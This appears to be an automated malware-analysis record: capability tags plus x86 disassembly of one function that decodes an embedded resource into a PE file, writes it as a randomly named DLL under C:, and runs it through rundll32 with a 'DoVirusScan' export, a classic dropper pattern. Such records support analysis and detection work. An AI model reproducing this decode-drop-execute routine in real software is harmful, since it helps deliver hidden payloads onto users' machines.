Function at 0x4013d0
Capabilities:
Create directory
Create process on windows
Create process suspended
Extract resource via kernel32 functions
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x5a0
push ebp
push esi
push 0x4070d4
push 0x86
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
jne 0x4013f9
pop esi
pop ebp
add esp, 0x5a0
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebp, eax
test ebp, ebp
jne 0x401411
pop esi
pop ebp
add esp, 0x5a0
ret
push ebx
push edi
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push ebp
mov dword [esp + 0x28], ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, ebx
mov esi, eax
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
xor ebx, ebx
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x24]
mov al, byte [ebp + 1]
mov bl, byte [ebp]
xor ecx, ecx
test esi, esi
mov dword [esp + 0x20], eax
jle 0x401491
mov eax, ecx
mov edi, 3
cdq
idiv edi
mov edi, edx
cmp edi, 2
jne 0x401469
sub byte [ecx + ebp], bl
cmp edi, 1
jne 0x40147a
mov dl, byte [esp + 0x20]
mov al, byte [ecx + ebp]
sub al, dl
mov byte [ecx + ebp], al
test edi, edi
jne 0x40148c
mov al, byte [esp + 0x20]
mov dl, byte [ecx + ebp]
add al, bl
sub dl, al
mov byte [ecx + ebp], dl
inc ecx
cmp ecx, esi
jl 0x401455
mov byte [ebp], 0x4d
mov byte [ebp + 1], 0x5a
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x1a9]
mov byte [esp + 0x1a8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xa5]
mov byte [esp + 0xa4], 0
rep stosd dword es:[edi], eax
xor ecx, ecx
lea edx, [esp + 0x10]
mov dword [esp + 0x11], ecx
push 5
mov dword [esp + 0x19], ecx
push edx
stosw word es:[edi], ax
mov dword [esp + 0x21], ecx
mov byte [esp + 0x18], 0
mov word [esp + 0x25], cx
stosb byte es:[edi], al
mov byte [esp + 0x27], cl
call fcn.004010c0
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x1b4]
push str.c:_s
push ecx
call ebx
add esp, 0x14
lea edx, [esp + 0x1a8]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
lea ecx, [esp + 0x10]
mov dword [esp + 0x10], eax
push 5
mov dword [esp + 0x18], eax
push ecx
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
call fcn.004010c0
lea edx, [esp + 0x18]
lea eax, [esp + 0x1b0]
push edx
push eax
lea ecx, [esp + 0xb4]
push str._s_s.dll
push ecx
call ebx
add esp, 0x18
lea edx, [esp + 0xa4]
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
lea eax, [esp + 0x28]
push 0
push eax
push esi
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 8
mov esi, str.c:windows_system32_rundll32.exe
lea edi, [esp + 0x80]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0x3b1]
mov byte [esp + 0x3b0], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x2ad]
mov byte [esp + 0x2ac], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x2ac]
push 0x104
push ecx
push 0
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x2ac]
lea eax, [esp + 0xa4]
push edx
lea ecx, [esp + 0x84]
push eax
push ecx
lea edx, [esp + 0x3bc]
push str._s___s__DoVirusScan__s
push edx
call ebx
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x44]
add esp, 0x14
rep stosd dword es:[edi], eax
mov word [esp + 0x5c], ax
lea eax, [esp + 0x70]
lea ecx, [esp + 0x2c]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
lea edx, [esp + 0x3cc]
push 0
push edx
push 0
mov dword [esp + 0x54], 0x44
mov dword [esp + 0x5c], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop ebx
pop esi
mov eax, 1
pop ebp
add esp, 0x5a0
ret